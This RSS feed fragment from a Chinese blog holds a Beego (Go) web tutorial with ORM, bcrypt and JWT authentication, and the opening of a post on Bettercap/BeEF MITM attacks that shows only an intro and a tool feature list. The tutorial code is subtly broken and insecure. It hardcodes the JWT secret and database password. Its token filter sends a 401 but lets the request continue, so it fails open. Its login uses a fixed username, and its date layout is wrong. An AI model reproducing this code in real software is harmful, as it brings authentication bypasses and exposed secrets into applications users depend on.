export GOPATH=/Users/ding/go_workspace #&#x66FF;&#x6362;&#x4F60;&#x7684;&#x76EE;&#x5F55;
#GOBIN &#x5F53;&#x6211;&#x4EEC;&#x4F7F;&#x7528;go install&#x547D;&#x4EE4;&#x7F16;&#x8BD1;&#x540E;&#x5E76;&#x4E14;&#x5B89;&#x88C5;&#x7684;&#x4E8C;&#x8FDB;&#x5236;&#x7A0B;&#x5E8F;&#x76EE;&#x5F55;
export GOBIN=$GOPATH/bin
# &#x542F;&#x7528; Go Modules &#x529F;&#x80FD;
export GO111MODULE=on
# &#x914D;&#x7F6E; GOPROXY &#x73AF;&#x5883;&#x53D8;&#x91CF;
export GOPROXY=https://goproxy.cn,direct
export PATH=$PATH:$GOROOT/bin:$GOBIN
</code></pre>
<h1 id="create%E5%88%9B%E5%BB%BA%E7%AC%AC%E4%B8%80%E4%B8%AA%E9%A1%B9%E7%9B%AE">Create&#x521B;&#x5EFA;&#x7B2C;&#x4E00;&#x4E2A;&#x9879;&#x76EE;</h1>
<pre><code class="language-bash">bee new beegodemo
</code></pre>
<h2 id="init%E5%88%9D%E5%A7%8B%E5%8C%96%E6%A8%A1%E5%9D%97%E4%BE%9D%E8%B5%96-%E8%BF%90%E8%A1%8C">Init&#x521D;&#x59CB;&#x5316;&#x6A21;&#x5757;&#x4F9D;&#x8D56; &amp; &#x8FD0;&#x884C;</h2>
<p>&#x8FDB;&#x5165;&#x5230;&#x9879;&#x76EE;&#x6839;&#x76EE;&#x5F55;&#x6267;&#x884C;&#x5982;&#x4E0B;</p>
<pre><code class="language-bash">go mod init beegodemo
bee run
</code></pre>
<h2 id="router%E8%B7%AF%E7%94%B1%E6%B3%A8%E5%86%8C">Router&#x8DEF;&#x7531;&#x6CE8;&#x518C;</h2>
<p>&#x5728;&#x9879;&#x76EE;&#x8DEF;&#x5F84;<code>routers/router.go</code>&#x6587;&#x4EF6;</p>
<pre><code class="language-go">package routers

import (
	&quot;beegodemo/controllers&quot;
	&quot;github.com/astaxie/beego&quot;
)

func init() {
	/*
	&#x5206;&#x6790;beego.Router&#x65B9;&#x6CD5;
	func Router(rootpath string, c ControllerInterface, mappingMethods ...string)
	&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x65B9;&#x6CD5;&#x9700;&#x4F20;&#x5165;&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x7B2C;&#x4E00;&#x4E2A;&#x4E3A;&#x8BBF;&#x95EE;&#x8DEF;&#x5F84;&#xFF0C;&#x7B2C;&#x4E8C;&#x4E2A;&#x4E3A;&#x63A7;&#x5236;&#x5668;&#x7684;&#x6307;&#x9488;&#x5730;&#x5740;&#xFF0C;&#x7B2C;&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#x5177;&#x4F53;&#x89E3;&#x6790;&#x5230;&#x6307;&#x5B9A;&#x7684;&#x65B9;&#x6CD5;&#xFF08;&#x53EF;&#x9009;&#x53C2;&#x6570;&#xFF09;
	 */
	beego.Router(&quot;/&quot;, &amp;controllers.MainController{})
	beego.Router(&quot;/reg&quot;, &amp;controllers.OrmTestController{}) // &#x5982;&#x679C;&#x4E0D;&#x4F20;&#x5165;&#x7B2C;&#x4E09;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x5C06;&#x4F1A;&#x9ED8;&#x8BA4;&#x6307;&#x5411;&#x63A7;&#x5236;&#x5668;&#x7684;Get()&#x65B9;&#x6CD5;
	beego.Router(&quot;/login&quot;, &amp;controllers.OrmTestController{}, &quot;get:Login&quot;) // &#x652F;&#x6301;get/post/put/delete&#x7B49;&#x65B9;&#x5F0F;&#xFF0C;&#x5176;&#x4E2D;Login&#x4E3A;OrmTest&#x63A7;&#x5236;&#x5668;&#x4E0B;&#x7684;Login&#x65B9;&#x6CD5;
}
</code></pre>
<p><code>OrmTestController.go</code></p>
<pre><code class="language-go">package controllers

import (
	&quot;beegodemo/models&quot;
	&quot;fmt&quot;
	&quot;github.com/astaxie/beego/orm&quot;
)

// &#x5B9A;&#x4E49;&#x7ED3;&#x6784;&#x4F53;&#xFF0C;&#x7EE7;&#x627F;beego&#x7684;MainController&#x63A7;&#x5236;&#x5668;
type OrmTestController struct {
	MainController
}


func (this OrmTestController) Get() {
	ormCase := orm.NewOrm()
	pass := models.PassEncode(this.GetString(&quot;password&quot;))
	user := models.User{}
	user.Username = this.GetString(&quot;username&quot;) // &#x83B7;&#x53D6;GET/POST&#x53C2;&#x6570;
	user.Password = pass

	id, err := ormCase.Insert(&amp;user)
	if err != nil {
		this.Ctx.WriteString(err.Error())
		return
	}
	fmt.Println(id)
	this.Ctx.WriteString(&quot;&#x63D2;&#x5165;&#x6210;&#x529F;&quot;)
}

func (this OrmTestController) Login() {
	ormCase := orm.NewOrm()
	pass := this.GetString(&quot;password&quot;)
	user := models.User{
		Username: &quot;3&quot;,
	}
	// user.Username = this.GetString(&quot;username&quot;)
	errS := ormCase.Read(&amp;user, &quot;username&quot;)
	if errS != nil {
		fmt.Println(errS.Error())
		return
	}
	err := models.ComparePass(user.Password, pass)
	if err != nil {
		this.Ctx.WriteString(&quot;&#x7528;&#x6237;&#x5BC6;&#x7801;&#x4E0D;&#x6B63;&#x786E;&quot;)
		return
	}
	this.Ctx.WriteString(&quot;&#x767B;&#x5F55;&#x6210;&#x529F;&quot;)
}
</code></pre>
<h2 id="model%E6%A8%A1%E5%9E%8B">Model&#x6A21;&#x578B;</h2>
<p>Web &#x5E94;&#x7528;&#x4E2D;&#x6211;&#x4EEC;&#x7528;&#x7684;&#x6700;&#x591A;&#x7684;&#x5C31;&#x662F;&#x6570;&#x636E;&#x5E93;&#x64CD;&#x4F5C;&#xFF0C;&#x800C; model &#x5C42;&#x4E00;&#x822C;&#x7528;&#x6765;&#x505A;&#x8FD9;&#x4E9B;&#x64CD;&#x4F5C;&#x3002;&#x8BF4;&#x7684;&#x7B80;&#x5355;&#x4E00;&#x70B9;&#xFF0C;&#x5982;&#x679C;&#x5E94;&#x7528;&#x8DB3;&#x591F;&#x7B80;&#x5355;&#xFF0C;&#x90A3;&#x4E48;<code>Controller</code>&#x53EF;&#x4EE5;&#x5904;&#x7406;&#x4E00;&#x5207;&#x7684;&#x903B;&#x8F91;&#xFF0C;&#x5982;&#x679C;&#x903B;&#x8F91;&#x91CC;&#x9762;&#x5B58;&#x5728;&#x7740;&#x53EF;&#x4EE5;&#x590D;&#x7528;&#x7684;&#x4E1C;&#x897F;&#xFF0C;&#x90A3;&#x4E48;&#x5C31;&#x62BD;&#x53D6;&#x51FA;&#x6765;&#x53D8;&#x6210;&#x4E00;&#x4E2A;&#x6A21;&#x5757;&#x3002;&#x56E0;&#x6B64;<code>Model</code>&#x5C31;&#x662F;&#x9010;&#x6B65;&#x62BD;&#x8C61;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x4E00;&#x822C;&#x4F1A;&#x5728;<code>Model</code>&#x91CC;&#x9762;&#x5904;&#x7406;&#x4E00;&#x4E9B;&#x6570;&#x636E;&#x8BFB;&#x53D6;&#xFF0C;&#x5982;&#x4E0B;&#x662F;&#x6211;&#x81EA;&#x5B9A;&#x4E49;&#x4E00;&#x4E9B;&#x5DE5;&#x5177;&#x7C7B;&#x7684;&#x4EE3;&#x7801;&#x7247;&#x6BB5;&#xFF1A;</p>
<pre><code class="language-go">package models

import (
	&quot;fmt&quot;
	&quot;github.com/astaxie/beego&quot;
	&quot;golang.org/x/crypto/bcrypt&quot;
	&quot;time&quot;
)

// @Description &#x65F6;&#x95F4;&#x6233;&#x8F6C;&#x65E5;&#x671F;
func UnixToDate(timestamp int) string {
	t := time.Unix(int64(timestamp), 0)
	return t.Format(&quot;2006-01-02 15:01:05&quot;)
}

func DateToUnix(str string) int64 {
	template := &quot;2006-01-02 15:01:05&quot;
	t, err := time.ParseInLocation(template, str, time.Local)
	if err != nil {
		beego.Info(err)
	}
	return t.Unix()
}

// @Description &#x83B7;&#x53D6;&#x5F53;&#x524D;&#x65E5;&#x671F;
func GetDate() string {
	t := time.Now()
	return t.Format(&quot;2006-01-02 15:01:05&quot;)
}

// @Description &#x5BC6;&#x7801;HASH&#x52A0;&#x5BC6;
func PassEncode(str string) string {
	hash, err := bcrypt.GenerateFromPassword([]byte(str), bcrypt.DefaultCost) //&#x52A0;&#x5BC6;&#x5904;&#x7406;
	if err != nil {
		fmt.Println(err)
	}
	encodePWD := string(hash)

	return encodePWD
}

// @Description &#x9A8C;&#x8BC1;&#x5BC6;&#x7801;
func ComparePass(oldPass string, inputPass string) error {
	return bcrypt.CompareHashAndPassword([]byte(oldPass), []byte(inputPass))
}
</code></pre>
<p>&#x5728;<code>beego</code>&#x5E94;&#x7528;&#x6CE8;&#x518C;&#x6211;&#x7684;&#x5DE5;&#x5177;</p>
<pre><code class="language-go">    beego.AddFuncMap(&quot;unixToDate&quot;, models.UnixToDate)
	beego.AddFuncMap(&quot;DateToUnix&quot;, models.DateToUnix)
	beego.AddFuncMap(&quot;Md5Encode&quot;, models.PassEncode)
	beego.AddFuncMap(&quot;ComparePass&quot;, models.ComparePass)
</code></pre>
<h2 id="orm%E5%BC%95%E5%85%A5">ORM&#x5F15;&#x5165;</h2>
<p><code>beego</code>&#x5B98;&#x65B9;&#x63D0;&#x4F9B;&#x4E86;&#x81EA;&#x5DF1;&#x7684;orm&#x5E93;&#xFF0C;&#x7528;&#x5C31;&#x5B8C;&#x4E8B;&#x3002;</p>
<pre><code class="language-bash">go get github.com/astaxie/beego/orm
</code></pre>
<pre><code class="language-go">package main
// main.go
import (
	&quot;beegodemo/models&quot;
	_ &quot;beegodemo/routers&quot;
	&quot;github.com/astaxie/beego&quot;
	&quot;github.com/astaxie/beego/context&quot;
	&quot;github.com/astaxie/beego/orm&quot;
	_ &quot;github.com/go-sql-driver/mysql&quot;
)

// &#x6CE8;&#x5165;ORM
func init() {
  // &#x53C2;&#x6570;1   driverName
  // &#x53C2;&#x6570;2   &#x6570;&#x636E;&#x5E93;&#x7C7B;&#x578B;
  // &#x8FD9;&#x4E2A;&#x7528;&#x6765;&#x8BBE;&#x7F6E; driverName &#x5BF9;&#x5E94;&#x7684;&#x6570;&#x636E;&#x5E93;&#x7C7B;&#x578B;
  // mysql / sqlite3 / postgres / tidb &#x8FD9;&#x51E0;&#x79CD;&#x662F;&#x9ED8;&#x8BA4;&#x5DF2;&#x7ECF;&#x6CE8;&#x518C;&#x8FC7;&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x53EF;&#x4EE5;&#x65E0;&#x9700;&#x8BBE;&#x7F6E;
	orm.RegisterDriver(&quot;mysql&quot;, orm.DRMySQL)

  // &#x53C2;&#x6570;1        &#x6570;&#x636E;&#x5E93;&#x7684;&#x522B;&#x540D;&#xFF0C;&#x7528;&#x6765;&#x5728; ORM &#x4E2D;&#x5207;&#x6362;&#x6570;&#x636E;&#x5E93;&#x4F7F;&#x7528;
  // &#x53C2;&#x6570;2        driverName
  // &#x53C2;&#x6570;3        &#x5BF9;&#x5E94;&#x7684;&#x94FE;&#x63A5;&#x5B57;&#x7B26;&#x4E32;
	orm.RegisterDataBase(&quot;default&quot;, &quot;mysql&quot;, &quot;beego:beegogo@/beego?charset=utf8&quot;) // &#x7528;&#x6237;&#x540D;:&#x5BC6;&#x7801;@/&#x6570;&#x636E;&#x5E93;&#x540D;?charset=utf8
}

func main() {
	var FilterToken = func(ctx *context.Context) {
		beego.Info(ctx.Input.Header(&quot;Authorization&quot;))
	}
	beego.InsertFilter(&quot;/*&quot;, beego.BeforeRouter, FilterToken)
	beego.AddFuncMap(&quot;unixToDate&quot;, models.UnixToDate)
	beego.AddFuncMap(&quot;DateToUnix&quot;, models.DateToUnix)
	beego.AddFuncMap(&quot;Md5Encode&quot;, models.PassEncode)
	beego.AddFuncMap(&quot;ComparePass&quot;, models.ComparePass)
	beego.Run()
}
</code></pre>
<h3 id="use%E4%BD%BF%E7%94%A8">Use&#x4F7F;&#x7528;</h3>
<p>&#x5728;&#x9879;&#x76EE;&#x76EE;&#x5F55;<code>models</code>&#x4E0B;&#x65B0;&#x5EFA;&#x4E00;&#x4E2A;<code>models.go</code>&#x6587;&#x4EF6;&#x5373;&#x6CE8;&#x518C;&#x4E00;&#x4E2A;&#x6A21;&#x578B;&#xFF0C;&#x4EE3;&#x7801;&#x7247;&#x6BB5;&#x5982;&#x4E0B;</p>
<pre><code class="language-go">package models

import (
	&quot;github.com/astaxie/beego/orm&quot;
	_ &quot;github.com/go-sql-driver/mysql&quot;
	&quot;time&quot;
)

// &#x5B9A;&#x4E49;User&#x7ED3;&#x6784;&#x4F53;, &#x7B2C;&#x4E00;&#x4E2A;&#x5B57;&#x6BB5;&#x4F1A;&#x88AB;&#x4F5C;&#x4E3A;&#x81EA;&#x589E;pkey
type User struct {
	Id         int
	Username   string
	Password   string
	Created_at time.Time `orm:&quot;auto_now_add;type(datetime)&quot;`
	Updated_at time.Time `orm:&quot;auto_now;type(datetime)&quot;`
}

func init() {
	orm.RegisterDataBase(&quot;default&quot;, &quot;mysql&quot;, &quot;beego:beegogo@/beego?charset=utf8&quot;)
	orm.RegisterModel(new(User)) // &#x5B9E;&#x4F8B;&#x5316;User&#x7ED3;&#x6784;&#x4F53; RegisterModel &#x4E5F;&#x53EF;&#x4EE5;&#x540C;&#x65F6;&#x6CE8;&#x518C;&#x591A;&#x4E2A;model
	orm.RunSyncdb(&quot;default&quot;, false, true) // &#x81EA;&#x52A8;&#x8FC1;&#x79FB;
}
</code></pre>
<h4 id="simple%E7%AE%80%E5%8D%95%E7%9A%84%E5%A2%9E%E5%88%A0%E6%9F%A5%E6%94%B9">Simple&#x7B80;&#x5355;&#x7684;&#x589E;&#x5220;&#x67E5;&#x6539;</h4>
<pre><code class="language-go">    ormCase := orm.NewOrm()
	pass := models.PassEncode(this.GetString(&quot;password&quot;))
	user := models.User{}
	user.Username = this.GetString(&quot;username&quot;)
	user.Password = pass

    // &#x589E;
	ormCase.Insert(&amp;user)
	// &#x6539;
	user.Password = &quot;change password&quot;
	ormCase.Update(&amp;user)
	
	// &#x67E5;
	find := new(User)
	find.username = &quot;find&quot;
	ormCase.Read(find)
	
	// &#x5220;
	delete := new(User)
	delete.Id = 1
	ormCase.Delete(delete)
</code></pre>
<h2 id="add%E6%B7%BB%E5%8A%A0jwt%E8%AE%A4%E8%AF%81%E4%BB%A5%E5%8F%8A%E8%BF%87%E6%BB%A4%E5%99%A8">Add&#x6DFB;&#x52A0;JWT&#x8BA4;&#x8BC1;&#x4EE5;&#x53CA;&#x8FC7;&#x6EE4;&#x5668;</h2>
<p>&#x9996;&#x5148;&#x5F15;&#x5165;<code>jwt</code></p>
<pre><code class="language-bash">go get github.com/dgrijalva/jwt-go
</code></pre>
<p>&#x6846;&#x67B6;&#x4E2D;&#x5F15;&#x5165;<code>jwt</code></p>
<pre><code class="language-go">import (
	&quot;fmt&quot;
	&quot;github.com/astaxie/beego&quot;
	&quot;github.com/dgrijalva/jwt-go&quot;
)
</code></pre>
<h3 id="code%E7%BC%96%E5%86%99jwt%E7%BB%93%E6%9E%84%E4%BD%93%E4%BB%A5%E5%8F%8A%E7%9B%B8%E5%BA%94%E6%96%B9%E6%B3%95">Code&#x7F16;&#x5199;jwt&#x7ED3;&#x6784;&#x4F53;&#x4EE5;&#x53CA;&#x76F8;&#x5E94;&#x65B9;&#x6CD5;</h3>
<pre><code class="language-go">package models

import (
	&quot;fmt&quot;
	&quot;github.com/dgrijalva/jwt-go&quot;
	&quot;regexp&quot;
	&quot;time&quot;
)

const (
	KEY                    string = &quot;JWT-ARY-STARK&quot; // &#x79D8;&#x94A5;
	DEFAULT_EXPIRE_SECONDS int    = 600             // &#x9ED8;&#x8BA4;&#x8FC7;&#x671F;&#x65F6;&#x95F4;&#xFF08;s&#xFF09;
)

// JWT -- json web token
// HEADER PAYLOAD SIGNATURE
// This struct is the PAYLOAD
type MyCustomClaims struct {
	User
	jwt.StandardClaims
}

//&#x5237;&#x65B0;jwt token
func RefreshToken(tokenString string) (string, error) {
	// first get previous token
	token, err := jwt.ParseWithClaims(
		tokenString,
		&amp;MyCustomClaims{},
		func(token *jwt.Token) (interface{}, error) {
			return []byte(KEY), nil
		})
	claims, ok := token.Claims.(*MyCustomClaims)
	if !ok || !token.Valid {
		return &quot;&quot;, err
	}
	mySigningKey := []byte(KEY)
	expireAt := time.Now().Add(time.Second * time.Duration(DEFAULT_EXPIRE_SECONDS)).Unix()
	newClaims := MyCustomClaims{
		claims.User,
		jwt.StandardClaims{
			ExpiresAt: expireAt,
			Issuer:    claims.User.Username,
			IssuedAt:  time.Now().Unix(),
		},
	}
	// generate new token with new claims
	newToken := jwt.NewWithClaims(jwt.SigningMethodHS256, newClaims)
	tokenStr, err := newToken.SignedString(mySigningKey)
	if err != nil {
		fmt.Println(&quot;generate new fresh json web token failed !! error :&quot;, err)
		return &quot;&quot;, err
	}
	return tokenStr, err
}

//&#x9A8C;&#x8BC1;jtw token
func ValidateToken(tokenString string) (info User, err error) {
	token, err := jwt.ParseWithClaims(
		tokenString,
		&amp;MyCustomClaims{},
		func(token *jwt.Token) (interface{}, error) {
			return []byte(KEY), nil
		})
	if claims, ok := token.Claims.(*MyCustomClaims); ok &amp;&amp; token.Valid {
		//fmt.Printf(&quot;%v %v&quot;, claims.User, claims.StandardClaims.ExpiresAt)
		//fmt.Println(&quot;token will be expired at &quot;, time.Unix(claims.StandardClaims.ExpiresAt, 0))
		info = claims.User
	} else {
		fmt.Println(&quot;validate tokenString failed !!!&quot;, err)
	}
	return
}

//&#x83B7;&#x53D6;jwt token
func GenerateToken(info *User, expiredSeconds int) (tokenString string, err error) {
	if expiredSeconds == 0 {
		expiredSeconds = DEFAULT_EXPIRE_SECONDS
	}
	// Create the Claims
	mySigningKey := []byte(KEY)
	expireAt := time.Now().Add(time.Second * time.Duration(expiredSeconds)).Unix()
	fmt.Println(&quot;token will be expired at &quot;, time.Unix(expireAt, 0))
	// pass parameter to this func or not
	user := *info
	claims := MyCustomClaims{
		user,
		jwt.StandardClaims{
			ExpiresAt: expireAt,
			Issuer:    user.Username,
			IssuedAt:  time.Now().Unix(),
		},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	tokenStr, err := token.SignedString(mySigningKey)
	if err != nil {
		fmt.Println(&quot;generate json web token failed !! error :&quot;, err)
	} else {
		tokenString = tokenStr
	}
	return
}

// return this result to client then all later request should have header &quot;Authorization: Bearer &lt;token&gt; &quot;
func GetHeaderTokenValue(tokenString string) string {
	//Authorization: Bearer &lt;token&gt;
	tokenRegExp := regexp.MustCompile(`Bearer (.*)`)
	finalToken := tokenRegExp.FindStringSubmatch(tokenString)
	return finalToken[1]
}
</code></pre>
<h3 id="use%E4%BD%BF%E7%94%A8">Use&#x4F7F;&#x7528;</h3>
<pre><code class="language-go">package controllers

import (
	&quot;beegodemo/models&quot;
	&quot;fmt&quot;
)

type UserController struct {
	MainController
}

// &#x83B7;&#x53D6;token
func (this *UserController) Get() {
	user := models.User{Id: 1, Username: &quot;fuzzy&quot;}
	token, err := models.GenerateToken(&amp;user, 0)
	if err != nil {
		fmt.Println(err)
	} else {
		// &#x83B7;&#x53D6;jwt
		this.Ctx.WriteString(token)
	}
}

// &#x9A8C;&#x8BC1;token
func (this *UserController) Check() {
	token := &quot;token&quot;
	info, err := models.ValidateToken(token)
	if err != nil {
		this.Ctx.WriteString(err.Error())
		this.StopRun()
	}
	fmt.Println(info)
	this.Ctx.WriteString(&quot;success&quot;)
}
</code></pre>
<h3 id="register%E6%B3%A8%E5%86%8C%E8%BF%87%E6%BB%A4%E5%99%A8">Register&#x6CE8;&#x518C;&#x8FC7;&#x6EE4;&#x5668;</h3>
<pre><code class="language-go">func main() {
	FilterToken := func(ctx *context.Context) {
		beego.Info(ctx.Input.Header(&quot;Authorization&quot;))
		
		// &#x8FC7;&#x6EE4;&#x4E0D;&#x9700;&#x8981;&#x9A8C;&#x8BC1;&#x7684;&#x5730;&#x5740;
		if ctx.Request.RequestURI != &quot;/login&quot; &amp;&amp; ctx.Input.Header(&quot;Authorization&quot;) == &quot;&quot; {
			logs.Error(&quot;without token, unauthorized !!&quot;)
			ctx.ResponseWriter.WriteHeader(401)
			ctx.ResponseWriter.Write([]byte(&quot;no permission&quot;))
		}
		if ctx.Request.RequestURI != &quot;/login&quot; &amp;&amp; ctx.Input.Header(&quot;Authorization&quot;) != &quot;&quot; {
			token := models.GetHeaderTokenValue(ctx.Input.Header(&quot;Authorization&quot;))
			logs.Info(&quot;curernttoken: &quot;, token)
			info, err := models.ValidateToken(token) // &#x9A8C;&#x8BC1;token
			if err != nil {
				ctx.WriteString(err.Error())
				ctx.Redirect(401, &quot;/&quot;)
			}
			logs.Info(info)
		}
	}
	beego.InsertFilter(&quot;/*&quot;, beego.BeforeRouter, FilterToken) // &#x6CE8;&#x518C;&#x8FC7;&#x6EE4;&#x5668;,beego.BeforeRouter&#x4F1A;&#x5728;&#x5BFB;&#x627E;&#x8DEF;&#x7531;&#x4E4B;&#x524D;&#x8FDB;&#x884C;&#x8FC7;&#x6EE4;&#x5904;&#x7406;
	beego.AddFuncMap(&quot;unixToDate&quot;, models.UnixToDate)
	beego.AddFuncMap(&quot;DateToUnix&quot;, models.DateToUnix)
	beego.AddFuncMap(&quot;Md5Encode&quot;, models.PassEncode)
	beego.AddFuncMap(&quot;ComparePass&quot;, models.ComparePass)
	beego.AddFuncMap(&quot;GenerateToken&quot;, models.GenerateToken)
	beego.AddFuncMap(&quot;ValidateToken&quot;, models.ValidateToken)
	beego.AddFuncMap(&quot;GetHeaderTokenValue&quot;, models.GetHeaderTokenValue)
	beego.Run()
}
</code></pre>
<p>&#x81F3;&#x6B64;&#xFF0C;<code>jwt</code>&#x9A8C;&#x8BC1;&#x6D41;&#x7A0B;&#x7ED3;&#x675F;&#x3002;</p>
<p>&#x624B;&#x6495;<code>beego</code>&#x4E5F;&#x5C31;&#x5230;&#x8FD9;&#x91CC;&#xFF0C;&#x4E4B;&#x540E;&#x4F1A;&#x7F16;&#x5199;&#x9879;&#x76EE;&#x6765;&#x52A0;&#x6DF1;&#x719F;&#x7EC3;&#x5EA6;&#x548C;&#x89C4;&#x8303;&#x4EE3;&#x7801;&#x3002;</p>
]]></content:encoded></item><item><title><![CDATA[MITM中间人攻击-Bettercap + beef xss的组合拳]]></title><description><![CDATA[好几年没有接触过安全了，为什么又接触回来是因为一位朋友，动了对校园网进行内网和WEB渗透测试的心思，咨询了相关老师并未拿到授权，好吧，自己搭环境找一下感觉。]]></description><link>https://iobiji.com/mitm-attack-bettercap-and-beef/</link><guid isPermaLink="false">656e0e57d732aa747eb28177</guid><category><![CDATA[安全研究]]></category><dc:creator><![CDATA[ LeslieLin]]></dc:creator><pubDate>Sat, 24 Apr 2021 12:20:07 GMT</pubDate><media:content url="https://cdn.iobiji.com/2021/04/MITM.jpeg" medium="image"/><content:encoded><![CDATA[<h1 id="0x01-%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2">0x01 &#x5199;&#x5728;&#x524D;&#x9762;</h1>
<img src="https://cdn.iobiji.com/2021/04/MITM.jpeg" alt="MITM&#x4E2D;&#x95F4;&#x4EBA;&#x653B;&#x51FB;-Bettercap + beef xss&#x7684;&#x7EC4;&#x5408;&#x62F3;"><p>&#x597D;&#x51E0;&#x5E74;&#x6CA1;&#x6709;&#x63A5;&#x89E6;&#x8FC7;&#x5B89;&#x5168;&#x4E86;&#xFF0C;&#x4E3A;&#x4EC0;&#x4E48;&#x53C8;&#x63A5;&#x89E6;&#x56DE;&#x6765;&#x662F;&#x56E0;&#x4E3A;&#x4E00;&#x4F4D;&#x670B;&#x53CB;&#xFF0C;&#x52A8;&#x4E86;&#x5BF9;&#x6821;&#x56ED;&#x7F51;&#x8FDB;&#x884C;&#x5185;&#x7F51;&#x548C;WEB&#x6E17;&#x900F;&#x6D4B;&#x8BD5;&#x7684;&#x5FC3;&#x601D;&#xFF0C;&#x54A8;&#x8BE2;&#x4E86;&#x76F8;&#x5173;&#x8001;&#x5E08;&#x5E76;&#x672A;&#x62FF;&#x5230;&#x6388;&#x6743;&#xFF0C;&#x597D;&#x5427;&#xFF0C;&#x81EA;&#x5DF1;&#x642D;&#x73AF;&#x5883;&#x627E;&#x4E00;&#x4E0B;&#x611F;&#x89C9;&#x3002;</p>
<h1 id="0x02-bettercap%E7%AE%80%E4%BB%8B">0x02 Bettercap&#x7B80;&#x4ECB;</h1>
<blockquote>
<p>bettercap&#x662F;&#x4E00;&#x4E2A;&#x529F;&#x80FD;&#x5F3A;&#x5927;&#x3001;&#x6613;&#x4E8E;&#x6269;&#x5C55;&#x548C;&#x4FBF;&#x643A;&#x7684;&#x6846;&#x67B6;&#xFF0C;&#x7528;Go&#x7F16;&#x5199;&#xFF0C;&#x65E8;&#x5728;&#x4E3A;&#x5B89;&#x5168;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x3001;&#x7EA2;&#x961F;&#x961F;&#x5458;&#x548C;&#x9006;&#x5411;&#x5DE5;&#x7A0B;&#x4EBA;&#x5458;&#x63D0;&#x4F9B;&#x4E00;&#x4E2A;&#x6613;&#x4E8E;&#x4F7F;&#x7528;&#x7684;&#x4E00;&#x4F53;&#x5316;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x5176;&#x4E2D;&#x5305;&#x542B;&#x6267;&#x884C;&#x4FA6;&#x5BDF;&#x548C;&#x653B;&#x51FB;WiFi&#x7F51;&#x7EDC;&#x3001;&#x84DD;&#x7259;&#x4F4E;&#x80FD;&#x8017;&#x8BBE;&#x5907;&#x6240;&#x9700;&#x7684;&#x6240;&#x6709;&#x529F;&#x80FD;&#xFF0C;&#x65E0;&#x7EBF;HID&#x8BBE;&#x5907;&#x548C;IPv4/IPv6&#x7F51;&#x7EDC;&#x3002;</p>
</blockquote>
<h2 id="0x021-%E4%B8%BB%E8%A6%81%E7%89%B9%E7%82%B9">0x02.1 &#x4E3B;&#x8981;&#x7279;&#x70B9;</h2>
<ul>
<li>
<p>WiFi&#x7F51;&#x7EDC;&#x626B;&#x63CF;&#x3001;&#x53CD;&#x8BA4;&#x8BC1;&#x653B;&#x51FB;&#x3001;&#x65E0;&#x5BA2;&#x6237;&#x7AEF;PMKID&#x5173;&#x8054;&#x653B;&#x51FB;&#x548C;&#x81EA;&#x52A8;WPA/WPA2&#x5BA2;&#x6237;&#x7AEF;&#x63E1;&#x624B;&#x6355;&#x83B7;&#x3002;</p>
</li>
<li>
<p>&#x84DD;&#x7259;&#x4F4E;&#x80FD;&#x8017;&#x8BBE;&#x5907;&#x626B;&#x63CF;&#xFF0C;&#x7279;&#x5F81;&#x679A;&#x4E3E;&#xFF0C;&#x8BFB;&#x5199;&#x3002;</p>
</li>
<li>
<p>2.4Ghz&#x65E0;&#x7EBF;&#x8BBE;&#x5907;&#x626B;&#x63CF;&#x548C;&#x9F20;&#x6807;&#x70B9;&#x51FB;&#x653B;&#x51FB;&#xFF0C;&#x901A;&#x8FC7;&#x7A7A;&#x4E2D;HID&#x5E27;&#x6CE8;&#x5165;&#xFF08;&#x652F;&#x6301;DuckyScript&#xFF09;&#x3002;</p>
</li>
<li>
<p>&#x88AB;&#x52A8;&#x548C;&#x4E3B;&#x52A8;IP&#x7F51;&#x7EDC;&#x4E3B;&#x673A;&#x63A2;&#x6D4B;&#x548C;&#x4FA6;&#x5BDF;&#x3002;</p>
</li>
<li>
<p>ARP&#x3001;DNS&#x3001;DHCPv6&#x548C;NDP&#x6B3A;&#x9A97;&#xFF0C;&#x7528;&#x4E8E;&#x5BF9;&#x57FA;&#x4E8E;IPv4&#x548C;IPv6&#x7684;&#x7F51;&#x7EDC;&#x8FDB;&#x884C;MITM&#x653B;&#x51FB;&#x3002;</p>
</li>
<li>
<p>&#x5305;&#x7EA7;&#x522B;&#x3001;TCP&#x7EA7;&#x522B;&#x548C;HTTP/HTTPS&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x7EA7;&#x522B;&#x7684;&#x4EE3;&#x7406;&#x5B8C;&#x5168;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x6613;&#x4E8E;&#x5B9E;&#x73B0;&#x7684;javascript&#x63D2;&#x4EF6;&#x7F16;&#x5199;&#x811A;&#x672C;&#x3002;</p>
</li>
<li>
<p>&#x4E00;&#x4E2A;&#x5F3A;&#x5927;&#x7684;&#x7F51;&#x7EDC;&#x55C5;&#x63A2;&#x5668;&#xFF0C;&#x7528;&#x4E8E;&#x83B7;&#x53D6;&#x8BC1;&#x4E66;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x7528;&#x4F5C;&#x7F51;&#x7EDC;&#x534F;&#x8BAE;&#x6A21;&#x7CCA;&#x5668;&#x3002;</p>
</li>
<li>
<p>&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x5FEB;&#x901F;&#x7684;&#x7AEF;&#x53E3;&#x626B;&#x63CF;&#x5668;&#x3002;</p>
</li>
<li>
<p>&#x4E00;&#x4E2A;&#x5F3A;&#x5927;&#x7684;restapi&#xFF0C;&#x652F;&#x6301;websocket&#x4E0A;&#x7684;&#x5F02;&#x6B65;&#x4E8B;&#x4EF6;&#x901A;&#x77E5;&#xFF0C;&#x53EF;&#x4EE5;&#x8F7B;&#x677E;&#x7EC4;&#x7EC7;&#x653B;&#x51FB;&#x3002;</p>
</li>
<li>
<p>&#x6613;&#x4E8E;&#x4F7F;&#x7528;&#x7684;web&#x7528;&#x6237;&#x754C;&#x9762;&#x3002;</p>
</li>
<li>
<p>&#x7B49;&#x7B49;...</p>
</li>
</ul>
